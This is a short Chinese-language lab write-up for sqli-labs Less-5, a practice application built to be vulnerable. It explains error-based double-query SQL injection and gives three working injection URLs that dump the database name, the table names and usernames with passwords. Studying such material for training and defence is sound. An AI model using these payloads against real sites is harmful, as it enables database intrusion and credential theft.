Sqli-labs--less-5

less 5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

双查询注入顾名思义形式上是两个嵌套的查询，即select …(select …)，里面的那个select被称为子查询，他的执行顺序也是先执行子查询，然后再执行外面的select，双注入主要涉及到了几个sql函数：
rand()随机函数，返回0~1之间的某个值
floor(a)取整函数，返回小于等于a，且值最接近a的一个整数
count()聚合函数也称作计数函数，返回查询对象的总数
group by cluase分组语句，按照cluase对查询结果分组
如果还是不懂可以看此链接：http://www.2cto.com/article/201303/192718.html
双注入的原理总的来说就是，当一个聚合函数后面出现group分组语句时，会将查询的一部分结果以报错的形式返回，他有一个固定的公式。

获取数据库：

http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+

①1和2的位置至少要有一个count(*)

②concat()就是把多个字符串连接成一个字符，里面的查询语句必须要用小括号括起来，前面可以家任何字符来帮助你区分出你要的信息和错误的信息，但是floor(rand()*2)这个是必须要有的，否则不会起效果

③as a就是把前面的查询结果起一个别名，名字叫做a，你也可以不加as 直接在后面加a，但是我不推荐你这么做

获取表名

http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'*',floor(rand()*2))as a from information_schema.tables group by a--+

获取用户信息

http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+